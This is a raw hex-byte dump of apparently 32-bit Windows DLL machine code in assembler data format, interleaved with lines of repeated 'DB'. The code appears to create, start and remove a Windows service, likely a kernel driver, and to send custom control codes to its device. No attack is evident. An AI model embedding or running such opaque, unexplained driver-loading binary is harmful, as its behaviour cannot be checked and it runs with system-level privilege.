000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H,000H 000H,000H,000H,000H,000H,083H,0ECH,014H,056H,057H,08BH,074H,024H,028H,085H 0F6H,075H,00DH,0B8H,002H,000H,000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,00CH

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

000H,08DH,044H,024H,008H,08BH,00DH,03CH,050H,000H,010H,050H,068H,030H,0A0H 000H,010H,051H,0E8H,000H,003H,000H,000H,083H,0C4H,00CH,085H,0C0H,075H,00DH 0B8H,001H,000H,000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,00CH,000H,08DH,044H 024H,00CH,033H,0C9H,08BH,054H,024H,020H,051H,089H,008H,089H,048H,004H,089H 048H,008H,08BH,044H,024H,028H,08DH,04CH,024H,01CH,089H,054H,024H,010H,08DH 054H,024H,010H,051H,089H,044H,024H,018H,06AH,00CH,08BH,044H,024H,014H,052H 08DH,054H,024H,01CH,06AH,00CH,052H,08BH,03DH,050H,0C1H,000H,010H,068H,0C0H 020H,000H,083H,050H,0FFH,0D7H,085H,0C0H,075H,027H,08BH,044H,024H,008H,050H 0FFH,015H,090H,0C1H,000H,010H,08BH,00DH,03CH,050H,000H,010H,051H,0E8H,0EDH 003H,000H,000H,083H,0C4H,004H,0B8H,003H,000H,000H,000H,05FH,05EH,083H,0C4H 014H,0C2H,00CH,000H,066H,081H,07CH,024H,016H,000H,020H,072H,048H,08DH,044H 024H,018H,06AH,000H,08DH,04CH,024H,010H,050H,08BH,044H,024H,010H,06AH,00CH 051H,06AH,00CH,08DH,04CH,024H,020H,051H,068H,0C4H,020H,000H,083H,050H,0FFH 0D7H,08BH,04CH,024H,008H,051H,0FFH,015H,090H,0C1H,000H,010H,08BH,00DH,03CH 050H,000H,010H,051H,0E8H,09CH,003H,000H,000H,083H,0C4H,004H,0B8H,002H,000H 000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,00CH,000H,08BH,044H,024H,008H,050H 0FFH,015H,090H,0C1H,000H,010H,066H,08BH,054H,024H,014H,033H,0C9H,066H,08BH 04CH,024H,016H,066H,089H,014H,04DH,030H,060H,000H,010H,066H,089H,00EH,0A1H 03CH,050H,000H,010H,050H,0E8H,05FH,003H,000H,000H,083H,0C4H,004H,033H,0C0H 05FH,05EH,083H,0C4H,014H,0C2H,00CH,000H,0CCH,0CCH,083H,0ECH,014H,056H,057H 066H,08BH,07CH,024H,020H,066H,081H,0FFH,000H,020H,072H,00DH,0B8H,002H,000H 000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,004H,000H,00FH,0B7H,0C7H,08DH,034H 045H,030H,060H,000H,010H,066H,081H,03EH,0FFH,0FFH,075H,00DH,0B8H,002H,000H 000H,000H,05FH,05EH,083H,0C4H,014H,0C2H,004H,000H,08DH,044H,024H,008H,08BH 00DH,03CH,050H,000H,010H,050H,068H,030H,0A0H,000H,010H,051H,0E8H,09EH,001H 000H,000H,083H,0C4H,00CH,085H,0C0H,075H,00DH,0B8H,001H,000H,000H,000H,05FH 05EH,083H,0C4H,014H,0C2H,004H,000H,066H,08BH,016H,08DH,044H,024H,00CH,033H 0C9H,051H,089H,008H,089H,048H,004H,089H,048H,008H,08DH,044H,024H,01CH,066H 089H,07CH,024H,01AH,050H,066H,089H,054H,024H,01CH,06AH,00CH,08DH,04CH,024H 018H,08BH,044H,024H,014H,051H,06AH,00CH,08DH,04CH,024H,020H,051H,068H,0C4H 020H,000H,083H,050H,0FFH,015H,050H,0C1H,000H,010H,085H,0C0H,075H,027H,08BH 044H,024H,008H,050H,0FFH,015H,090H,0C1H,000H,010H,08BH,00DH,03CH,050H,000H 010H,051H,0E8H,090H,002H,000H,000H,083H,0C4H,004H,0B8H,003H,000H,000H,000H 05FH,05EH,083H,0C4H,014H,0C2H,004H,000H,066H,0C7H,006H,0FFH,0FFH,08BH,044H 024H,008H,050H,0FFH,015H,090H,0C1H,000H,010H,08BH,00DH,03CH,050H,000H,010H 051H,0E8H,064H,002H,000H,000H,083H,0C4H,004H,033H,0C0H,05FH,05EH,083H,0C4H 014H,0C2H,004H,000H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,008H 056H,057H,085H,0C0H,074H,00FH,083H,0F8H,001H,074H,034H,0B8H,001H,000H,000H 000H,05FH,05EH,0C2H,00CH,000H,033H,0F6H,0BFH,0FFH,0FFH,000H,000H,066H,039H 03CH,075H,030H,060H,000H,010H,074H,006H,056H,0E8H,0D0H,0FEH,0FFH,0FFH,046H 081H,0FEH,000H,020H,000H,000H,072H,0E7H,0B8H,001H,000H,000H,000H,05FH,05EH 0C2H,00CH,000H,068H,030H,0A0H,000H,010H,0BFH,030H,0A0H,000H,010H,068H,0E8H 003H,000H,000H,0FFH,015H,04CH,0C1H,000H,010H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH 0C0H,0F2H,0AEH,0F7H,0D1H,080H,0B9H,02FH,0A0H,000H,010H,05CH,074H,033H,0BFH 050H,050H,000H,010H,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H 02BH,0F9H,08BH,0D1H,08BH,0F7H,0B9H,0FFH,0FFH,0FFH,0FFH,0BFH,030H,0A0H,000H 010H,02BH,0C0H,0F2H,0AEH,04FH,08BH,0CAH,0C1H,0E9H,002H,0F3H,0A5H,08BH,0CAH 083H,0E1H,003H,0F3H,0A4H,0BFH,040H,050H,000H,010H,0B9H,0FFH,0FFH,0FFH,0FFH 02BH,0C0H,0F2H,0AEH,0F7H,0D1H,02BH,0F9H,08BH,0D1H,08BH,0F7H,0B9H,0FFH,0FFH 0FFH,0FFH,0BFH,030H,0A0H,000H,010H,02BH,0C0H,0F2H,0AEH,04FH,08BH,0CAH,0C1H 0E9H,002H,0F3H,0A5H,08BH,0CAH,083H,0E1H,003H,0F3H,0A4H,0BFH,030H,060H,000H 010H,0B8H,0FFH,0FFH,0FFH,0FFH,0B9H,000H,010H,000H,000H,0F3H,0ABH,0B8H,001H 000H,000H,000H,05FH,05EH,0C2H,00CH,000H,0CCH,0CCH,0CCH,056H,057H,068H,03FH 000H,00FH,000H,06AH,000H,06AH,000H,0FFH,015H,02CH,0C1H,000H,010H,08BH,0F8H 08BH,074H,024H,00CH,08BH,044H,024H,010H,050H,056H,057H,0E8H,02DH,000H,000H 000H,083H,0C4H,00CH,056H,057H,0E8H,063H,000H,000H,000H,08BH,04CH,024H,01CH 083H,0C4H,008H,051H,056H,0E8H,0B5H,000H,000H,000H,083H,0C4H,008H,08BH,0F0H 057H,0FFH,015H,030H,0C1H,000H,010H,08BH,0C6H,05FH,05EH,0C3H,0CCH,0CCH,0CCH 0CCH,08BH,044H,024H,00CH,06AH,000H,06AH,000H,06AH,000H,06AH,000H,06AH,000H 050H,06AH,001H,08BH,044H,024H,024H,06AH,003H,08BH,04CH,024H,024H,06AH,001H 068H,0FFH,001H,00FH,000H,050H,050H,051H,0FFH,015H,03CH,0C1H,000H,010H,085H 0C0H,075H,003H,033H,0C0H,0C3H,050H,0FFH,015H,030H,0C1H,000H,010H,0B8H,001H 000H,000H,000H,0C3H,0CCH,08BH,044H,024H,008H,056H,08BH,04CH,024H,008H,057H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

068H,0FFH,001H,00FH,000H,050H,051H,0FFH,015H,038H,0C1H,000H,010H,08BH,0F8H 085H,0FFH,075H,005H,033H,0C0H,05FH,05EH,0C3H,06AH,000H,06AH,000H,057H,0FFH 015H,034H,0C1H,000H,010H,085H,0C0H,075H,012H,0BEH,000H,000H,000H,000H,0FFH 015H,048H,0C1H,000H,010H,03DH,020H,004H,000H,000H,075H,005H,0BEH,001H,000H 000H,000H,057H,0FFH,015H,030H,0C1H,000H,010H,08BH,0C6H,05FH,05EH,0C3H,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,004H 083H,0ECH,040H,08DH,04CH,024H,000H,050H,068H,054H,050H,000H,010H,051H,0FFH 015H,0F0H,0C1H,000H,010H,083H,0C4H,00CH,08DH,04CH,024H,000H,06AH,000H,068H 080H,000H,000H,000H,06AH,003H,06AH,000H,06AH,000H,068H,000H,000H,000H,0C0H 051H,0FFH,015H,044H,0C1H,000H,010H,083H,0F8H,0FFH,075H,006H,033H,0C0H,083H 0C4H,040H,0C3H,08BH,04CH,024H,048H,085H,0C9H,074H,00BH,089H,001H,0B8H,001H 000H,000H,000H,083H,0C4H,040H,0C3H,050H,0FFH,015H,090H,0C1H,000H,010H,0B8H 001H,000H,000H,000H,083H,0C4H,040H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,056H,057H,068H,03FH,000H,00FH,000H,06AH,000H,06AH,000H,0FFH 015H,02CH,0C1H,000H,010H,08BH,0F8H,08BH,074H,024H,00CH,056H,057H,0E8H,022H 000H,000H,000H,083H,0C4H,008H,056H,057H,0E8H,068H,000H,000H,000H,083H,0C4H 008H,057H,0FFH,015H,030H,0C1H,000H,010H,0B8H,001H,000H,000H,000H,05FH,05EH 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,008H,08BH,04CH,024H,004H 083H,0ECH,01CH,056H,057H,068H,0FFH,001H,00FH,000H,050H,051H,0FFH,015H,038H 0C1H,000H,010H,08BH,0F8H,085H,0FFH,075H,008H,033H,0C0H,05FH,05EH,083H,0C4H 01CH,0C3H,08DH,044H,024H,008H,050H,06AH,001H,057H,0FFH,015H,028H,0C1H,000H 010H,08BH,0F0H,057H,0FFH,015H,030H,0C1H,000H,010H,08BH,0C6H,05FH,05EH,083H 0C4H,01CH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H 008H,056H,08BH,04CH,024H,008H,057H,068H,0FFH,001H,00FH,000H,050H,051H,0FFH 015H,038H,0C1H,000H,010H,08BH,0F0H,085H,0F6H,075H,005H,033H,0C0H,05FH,05EH 0C3H,056H,0FFH,015H,024H,0C1H,000H,010H,08BH,0F8H,056H,0FFH,015H,030H,0C1H 000H,010H,08BH,0C7H,05FH,05EH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,08BH,044H,024H,008H,083H,0F8H,001H,00FH,085H,0ECH,000H,000H,000H,0FFH 015H,06CH,0C1H,000H,010H,083H,03DH,070H,050H,000H,010H,000H,0A3H,090H,050H 000H,010H,075H,03EH,03CH,003H,075H,011H,0A9H,000H,000H,000H,080H,074H,00AH 06AH,002H,0E8H,0BDH,00FH,000H,000H,083H,0C4H,004H,068H,07CH,050H,000H,010H 0FFH,015H,068H,0C1H,000H,010H,085H,0C0H,074H,01AH,068H,074H,050H,000H,010H 050H,0FFH,015H,064H,0C1H,000H,010H,085H,0C0H,074H,00AH,06AH,001H,0E8H,094H 00FH,000H,000H,083H,0C4H,004H,0E8H,0FCH,004H,000H,000H,033H,0C9H,08BH,015H 090H,050H,000H,010H,08AH,0CEH,08BH,0C2H,025H,0FFH,000H,000H,000H,0FFH,005H 05CH,050H,000H,010H,0C1H,0EAH,010H,089H,00DH,09CH,050H,000H,010H,0A3H,098H 050H,000H,010H,089H,015H,090H,050H,000H,010H,0C1H,0E0H,008H,003H,0C1H,0A3H 094H,050H,000H,010H,0E8H,0F2H,002H,000H,000H,085H,0C0H,075H,00AH,0E8H,0D9H 004H,000H,000H,033H,0C0H,0C2H,00CH,000H,0FFH,015H,060H,0C1H,000H,010H,0A3H 040H,0B5H,000H,010H,0E8H,094H,00DH,000H,000H,083H,03DH,040H,0B5H,000H,010H 000H,0A3H,060H,050H,000H,010H,074H,025H,085H,0C0H,074H,021H,0E8H,0BDH,004H 000H,000H,0E8H,068H,00DH,000H,000H,0E8H,0D3H,007H,000H,000H,0E8H,0EEH,006H 000H,000H,0E8H,079H,001H,000H,000H,0B8H,001H,000H,000H,000H,0C2H,00CH,000H 0E8H,08CH,004H,000H,000H,033H,0C0H,0C2H,00CH,000H,085H,0C0H,075H,039H,0A1H 05CH,050H,000H,010H,085H,0C0H,07EH,02BH,048H,083H,03DH,0C8H,050H,000H,010H 000H,0A3H,05CH,050H,000H,010H,075H,005H,0E8H,096H,001H,000H,000H,0E8H,051H 006H,000H,000H,0E8H,0CCH,002H,000H,000H,0E8H,057H,004H,000H,000H,0B8H,001H 000H,000H,000H,0C2H,00CH,000H,033H,0C0H,0C2H,00CH,000H,083H,0F8H,003H,075H 00AH,06AH,000H,0E8H,06EH,003H,000H,000H,083H,0C4H,004H,0B8H,001H,000H,000H 000H,0C2H,00CH,000H,0CCH,0CCH,0CCH,053H,056H,057H,0BBH,001H,000H,000H,000H 08BH,07CH,024H,014H,055H,03BH,0FBH,075H,02AH,001H,01DH,05CH,050H,000H,010H 083H,0FFH,001H,074H,005H,083H,0FFH,002H,075H,050H,0A1H,044H,0B5H,000H,010H 085H,0C0H,074H,02FH,08BH,06CH,024H,01CH,08BH,074H,024H,014H,055H,057H,056H 0FFH,0D0H,08BH,0D8H,0EBH,026H,085H,0FFH,075H,0D8H,0A1H,05CH,050H,000H,010H 085H,0C0H,07EH,008H,048H,0A3H,05CH,050H,000H,010H,0EBH,0C7H,033H,0C0H,05DH 05FH,05EH,05BH,0C2H,00CH,000H,08BH,074H,024H,014H,08BH,06CH,024H,01CH,085H 0DBH,074H,022H,055H,057H,056H,0E8H,043H,0FEH,0FFH,0FFH,08BH,0D8H,0EBH,008H 08BH,074H,024H,014H,08BH,06CH,024H,01CH,085H,0DBH,074H,00EH,055H,057H,056H 0E8H,00BH,0FBH,0FFH,0FFH,08BH,0D8H,085H,0DBH,075H,00FH,083H,0FFH,001H,075H 00AH,0E8H,00BH,002H,000H,000H,0E8H,096H,003H,000H,000H,085H,0FFH,074H,005H 083H,0FFH,003H,075H,022H,055H,057H,056H,0E8H,005H,0FEH,0FFH,0FFH,085H,0C0H 075H,002H,033H,0DBH,085H,0DBH,074H,010H,0A1H,044H,0B5H,000H,010H,085H,0C0H 074H,007H,055H,057H,056H,0FFH,0D0H,08BH,0D8H,08BH,0C3H,05DH,05FH,05EH,05BH

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

0C2H,00CH,000H,0CCH,0CCH,0A1H,06CH,050H,000H,010H,083H,0F8H,001H,074H,00DH 085H,0C0H,075H,00EH,083H,03DH,070H,050H,000H,010H,001H,075H,005H,0E8H,0C4H 00DH,000H,000H,08BH,044H,024H,004H,050H,0E8H,0FAH,00DH,000H,000H,083H,0C4H 004H,068H,0FFH,000H,000H,000H,0FFH,015H,068H,050H,000H,010H,083H,0C4H,004H 0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0A1H,038H,0B5H,000H,010H,085H 0C0H,074H,002H,0FFH,0D0H,068H,010H,050H,000H,010H,068H,008H,050H,000H,010H 0E8H,0F6H,000H,000H,000H,083H,0C4H,008H,068H,004H,050H,000H,010H,068H,000H 050H,000H,010H,0E8H,0E4H,000H,000H,000H,083H,0C4H,008H,0C3H,08BH,044H,024H 004H,06AH,000H,06AH,001H,050H,0E8H,022H,000H,000H,000H,083H,0C4H,00CH,0C3H 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,06AH 001H,06AH,000H,06AH,000H,0E8H,005H,000H,000H,000H,083H,0C4H,00CH,0C3H,0CCH 053H,056H,0E8H,089H,000H,000H,000H,0C7H,005H,0C8H,050H,000H,010H,001H,000H 000H,000H,083H,07CH,024H,010H,000H,08BH,05CH,024H,014H,088H,01DH,0C4H,050H 000H,010H,075H,03FH,083H,03DH,03CH,0B5H,000H,010H,000H,074H,024H,08BH,035H 034H,0B5H,000H,010H,083H,0EEH,004H,03BH,035H,03CH,0B5H,000H,010H,072H,013H 08BH,006H,085H,0C0H,074H,002H,0FFH,0D0H,083H,0EEH,004H,03BH,035H,03CH,0B5H 000H,010H,073H,0EDH,068H,01CH,050H,000H,010H,068H,014H,050H,000H,010H,0E8H 052H,000H,000H,000H,083H,0C4H,008H,068H,024H,050H,000H,010H,068H,020H,050H 000H,010H,0E8H,040H,000H,000H,000H,083H,0C4H,008H,085H,0DBH,074H,008H,0E8H 024H,000H,000H,000H,05EH,05BH,0C3H,08BH,044H,024H,00CH,050H,0FFH,015H,070H 0C1H,000H,010H,05EH,05BH,0C3H,0CCH,0CCH,0CCH,06AH,00DH,0E8H,079H,00FH,000H 000H,083H,0C4H,004H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,06AH,00DH,0E8H,0D9H,00FH 000H,000H,083H,0C4H,004H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,08BH,07CH 024H,010H,08BH,074H,024H,00CH,03BH,0FEH,076H,00FH,08BH,006H,085H,0C0H,074H 002H,0FFH,0D0H,083H,0C6H,004H,03BH,0FEH,077H,0F1H,05FH,05EH,0C3H,056H,0E8H 09AH,00EH,000H,000H,0FFH,015H,07CH,0C1H,000H,010H,0A3H,0CCH,050H,000H,010H 083H,0F8H,0FFH,075H,004H,033H,0C0H,05EH,0C3H,06AH,074H,06AH,001H,0E8H,08DH 010H,000H,000H,083H,0C4H,008H,08BH,0F0H,085H,0F6H,074H,030H,056H,0A1H,0CCH 050H,000H,010H,050H,0FFH,015H,078H,0C1H,000H,010H,085H,0C0H,074H,01FH,056H 0E8H,04DH,000H,000H,000H,083H,0C4H,004H,0FFH,015H,074H,0C1H,000H,010H,089H 006H,0B8H,001H,000H,000H,000H,0C7H,046H,004H,0FFH,0FFH,0FFH,0FFH,05EH,0C3H 033H,0C0H,05EH,0C3H,0E8H,06BH,00EH,000H,000H,0A1H,0CCH,050H,000H,010H,083H 0F8H,0FFH,074H,011H,050H,0FFH,015H,080H,0C1H,000H,010H,0C7H,005H,0CCH,050H 000H,010H,0FFH,0FFH,0FFH,0FFH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,08BH,044H,024H,004H,0C7H,040H,050H,038H 057H,000H,010H,0C7H,040H,014H,001H,000H,000H,000H,0C3H,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,056H,057H,0FFH,015H,048H,0C1H 000H,010H,08BH,0F0H,0A1H,0CCH,050H,000H,010H,050H,0FFH,015H,088H,0C1H,000H 010H,08BH,0F8H,085H,0FFH,075H,047H,06AH,074H,06AH,001H,0E8H,0DBH,00FH,000H 000H,083H,0C4H,008H,08BH,0F8H,085H,0FFH,074H,02BH,057H,0A1H,0CCH,050H,000H 010H,050H,0FFH,015H,078H,0C1H,000H,010H,085H,0C0H,074H,01AH,057H,0E8H,09BH 0FFH,0FFH,0FFH,083H,0C4H,004H,0FFH,015H,074H,0C1H,000H,010H,089H,007H,0C7H 047H,004H,0FFH,0FFH,0FFH,0FFH,0EBH,00AH,06AH,010H,0E8H,080H,0FDH,0FFH,0FFH 083H,0C4H,004H,056H,0FFH,015H,084H,0C1H,000H,010H,08BH,0C7H,05FH,05EH,0C3H 0CCH,083H,03DH,0CCH,050H,000H,010H,0FFH,056H,00FH,084H,091H,000H,000H,000H 08BH,074H,024H,008H,085H,0F6H,075H,012H,0A1H,0CCH,050H,000H,010H,050H,0FFH 015H,088H,0C1H,000H,010H,08BH,0F0H,085H,0F6H,074H,069H,08BH,046H,024H,085H 0C0H,074H,009H,050H,0E8H,0BBH,00FH,000H,000H,083H,0C4H,004H,08BH,046H,028H 085H,0C0H,074H,009H,050H,0E8H,0ABH,00FH,000H,000H,083H,0C4H,004H,08BH,046H 030H,085H,0C0H,074H,009H,050H,0E8H,09BH,00FH,000H,000H,083H,0C4H,004H,08BH 046H,038H,085H,0C0H,074H,009H,050H,0E8H,08BH,00FH,000H,000H,083H,0C4H,004H 08BH,046H,040H,085H,0C0H,074H,009H,050H,0E8H,07BH,00FH,000H,000H,083H,0C4H 004H,08BH,046H,044H,085H,0C0H,074H,009H,050H,0E8H,06BH,00FH,000H,000H,083H 0C4H,004H,056H,0E8H,062H,00FH,000H,000H,083H,0C4H,004H,06AH,000H,0A1H,0CCH 050H,000H,010H,050H,0FFH,015H,078H,0C1H,000H,010H,05EH,0C3H,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,06AH,000H,068H 000H,010H,000H,000H,06AH,000H,0FFH,015H,08CH,0C1H,000H,010H,0A3H,030H,0B5H 000H,010H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,0A1H 030H,0B5H,000H,010H,050H,0FFH,015H,054H,0C1H,000H,010H,0C3H,0CCH,0CCH,0CCH 083H,0ECH,044H,053H,056H,057H,055H,068H,080H,004H,000H,000H,0E8H,01FH,00FH 000H,000H,083H,0C4H,004H,08BH,0F0H,085H,0F6H,075H,00AH,06AH,01BH,0E8H,06FH 0FCH,0FFH,0FFH,083H,0C4H,004H,08DH,086H,080H,004H,000H,000H,089H,035H,030H 0B4H,000H,010H,0C7H,005H,020H,0B4H,000H,010H,020H,000H,000H,000H,03BH,0C6H

DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB DB

076H,028H,033H,0C9H,0BAH,00AH,000H,000H,000H,088H,04EH,004H,083H,0C6H,024H 0C7H,046H,0DCH,0FFH,0FFH,0FFH,0FFH,088H,056H,0E1H,089H,04EH,0E4H,0A1H,030H 0B4H,000H,010H,005H,080H,004H,000H,000H,03BH,0C6H,077H,0DFH,08DH,044H,024H 010H,050H,0FFH,015H,0A0H,0C1H,000H,010H,066H,083H,07CH,024H,042H,000H,00FH 084H,0D5H,000H,000H,000H,083H,07CH,024H,044H,000H,00FH,084H,0CAH,000H,000H 000H,08BH,044H,024H,044H,08BH,028H,08DH,078H,004H,081H,0FDH,000H,008H,000H 000H,08DH,05CH,03DH,000H,07CH,005H,0BDH,000H,008H,000H,000H,039H,02DH,020H 0B4H,000H,010H,07DH,05EH,0BEH,034H,0B4H,000H,010H,068H,080H,004H,000H,000H 0E8H,077H,00EH,000H,000H,083H,0C4H,004H,085H,0C0H,074H,042H,08DH,088H,080H 004H,000H,000H,089H,006H,083H,005H,020H,0B4H,000H,010H,020H,03BH,0C8H,076H 022H,033H,0C9H,088H,048H,004H,083H,0C0H,024H,0C7H,040H,0DCH,0FFH,0FFH,0FFH 0FFH,0C6H,040H,0E1H,00AH,089H,048H,0E4H,08BH,016H,081H,0C2H,080H,004H,000H 000H,03BH,0D0H,077H,0E0H,083H,0C6H,004H,039H,02DH,020H,0B4H,000H,010H,07CH 0AFH,0EBH,006H,08BH,02DH,020H,0B4H,000H,010H,033H,0F6H,085H,0EDH,07EH,044H 08BH,003H,083H,0F8H,0FFH,074H,034H,0F6H,007H,001H,074H,02FH,050H,0FFH,015H 098H,0C1H,000H,010H,085H,0C0H,074H,024H,08BH,0C6H,08BH,0CEH,083H,0E0H,0E7H 083H,0E1H,01FH,0C1H,0F8H,003H,0C1H,0E1H,002H,08BH,090H,030H,0B4H,000H,010H 08BH,003H,08DH,00CH,0C9H,003H,0CAH,089H,001H,08AH,017H,088H,051H,004H,046H 047H,083H,0C3H,004H,03BH,0F5H,07CH,0BCH,033H,0F6H,033H,0FFH,08BH,01DH,030H 0B4H,000H,010H,003H,0DEH,083H,03BH,0FFH,075H,057H,0B8H,0F6H,0FFH,0FFH,0FFH 085H,0F6H,0C6H,043H,004H,081H,074H,00EH,08DH,047H,0FFH,083H,0F8H,001H,0B8H 0F5H,0FFH,0FFH,0FFH,083H,0D0H,0FFH,050H,0FFH,015H,09CH,0C1H,000H,010H,083H 0F8H,0FFH,08BH,0E8H,074H,028H,055H,0FFH,015H,098H,0C1H,000H,010H,085H,0C0H 074H,01DH,025H,0FFH,000H,000H,000H,089H,02BH,083H,0F8H,002H,075H,006H,080H 04BH,004H,040H,0EBH,015H,083H,0F8H,003H,075H,010H,080H,04BH,004H,008H,0EBH 00AH,080H,04BH,004H,040H,0EBH,004H,080H,04BH,004H,080H,083H,0C6H,024H,047H 083H,0FEH,06CH,07CH,08FH,0A1H,020H,0B4H,000H,010H,050H,0FFH,015H,094H,0C1H 000H,010H,05DH,05FH,05EH,05BH,083H,0C4H,044H,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH 053H,056H,057H,0BEH,030H,0B4H,000H,010H,055H,08BH,03DH,0A4H,0C1H,000H,010H 08BH,01EH,085H,0DBH,074H,030H,08DH,083H,080H,004H,000H,000H,03BH,0C3H,076H 01BH,033H,0EDH,039H,06BH,008H,074H,006H,08DH,043H,00CH,050H,0FFH,0D7H,083H 0C3H,024H,08BH,006H,005H,080H,004H,000H,000H,03BH,0C3H,077H,0E7H,08BH,006H 050H,0E8H,0EEH,00CH,000H,000H,083H,0C4H,004H,083H,0C6H,004H,081H,0FEH,030H 0B5H,000H,010H,072H,0BFH,05DH,05FH,05EH,05BH,0C3H,0CCH,0CCH,0CCH,0CCH,0CCH 0CCH,0CCH,0CCH,0CCH,0CCH,0CCH,083H,0ECH,004H,08BH,015H,060H,050H,000H,010H 053H,056H,057H,033H,0F6H,055H,080H,03AH,000H,074H,01AH,080H,03AH,03DH,074H 001H,046H,08BH,0FAH,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H 003H,0D1H,080H,03AH,000H,075H,0E6H,08DH,004H,0B5H,004H,000H,000H,000H,050H 0E8H,0B5H,00CH,000H,000H,0A3H,0ACH,050H,000H,010H,083H,0C4H,004H,08BH,0D8H 085H,0DBH,075H,00AH,06AH,009H,0E8H,000H,0FAH,0FFH,0FFH,083H,0C4H,004H,08BH 02DH,060H,050H,000H,010H,08BH,0C5H,080H,07DH,000H,000H,074H,05EH,08BH,0FDH 0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,089H,04CH,024H,010H 080H,07DH,000H,03DH,074H,03DH,051H,0E8H,072H,00CH,000H,000H,083H,0C4H,004H 089H,003H,085H,0C0H,075H,00AH,06AH,009H,0E8H,0C2H,0F9H,0FFH,0FFH,083H,0C4H 004H,08BH,0FDH,0B9H,0FFH,0FFH,0FFH,0FFH,02BH,0C0H,0F2H,0AEH,0F7H,0D1H,02BH 0F9H,08BH,0C1H,0C1H,0E9H,002H,08BH,0F7H,08BH,03BH,083H,0C3H,004H,0F3H,0A5H 08BH,0C8H,083H,0E1H,003H,0F3H,0A4H,003H,06CH,024H,010H,080H,07DH,000H,000H 075H,0A2H,0A1H,060H,050H,000H,010H,050H,0E8H,006H,00CH,000H,000H,083H,0C4H 